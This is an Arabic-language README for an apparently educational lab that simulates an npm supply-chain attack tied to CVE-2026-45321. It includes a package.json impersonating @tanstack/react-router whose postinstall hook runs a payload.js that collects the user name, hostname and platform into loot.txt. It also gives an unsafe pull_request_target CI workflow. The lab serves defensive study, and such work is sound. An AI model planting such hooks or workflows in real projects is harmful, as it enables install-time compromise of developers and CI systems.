
مختبر تعليمي يحاكي هجمات سلسلة توريد npm، وإساءة استخدام CI/CD، وتنفيذ التعليمات البرمجية وقت التثبيت عبر CVE-2026-45321. بحث أمني دفاعي عملي لفهم اختراق التبعيات واستغلال خطافات دورة الحياة.
مختبر تعليمي لفهم هجمات سلسلة توريد npm، وإساءة استخدام CI/CD، وتنفيذ الكود وقت التثبيت
أُنشئ هذا المشروع فقط من أجل:
لا تستخدم هذا المشروع من أجل:
يحاكي هذا المختبر المفاهيم الأساسية للحادثة:
تُنفَّذ المحاكاة محليًا وبأمان دون:
lab/
├── fake-repo/ # محاكاة المستودع المستهدف
├── attacker-package/ # محاكاة الحزمة الخبيثة
└── victim-project/ # محاكاة الضحية
حزمة المهاجم
↓
npm install
↓
تشغيل سكربت postinstall
↓
تنفيذ payload.js تلقائيًا
↓
إصابة الضحية بالتنفيذ وقت التثبيت
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
النتيجة:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
إذا نجحت المحاكاة فسيظهر:
=== MALICIOUS PAYLOAD EXECUTED ===
وسيتم إنشاء الملف:
loot.txt
بشكل تلقائي.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
يمكن أيضًا استخدام هذا المشروع لفهم:
مثال على سير العمل (workflow):
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| محاكاة المختبر | العالم الحقيقي |
|---|---|
| attacker-package | حزمة TanStack المخترقة |
| payload.js | المثبّت الخبيث |
| postinstall | إساءة استخدام خطاف دورة الحياة |
| victim-project | مطوّر/CI الضحية |
| fake-repo | خط أنابيب GitHub Actions |
أُنشئ هذا المختبر لزيادة الوعي بشأن: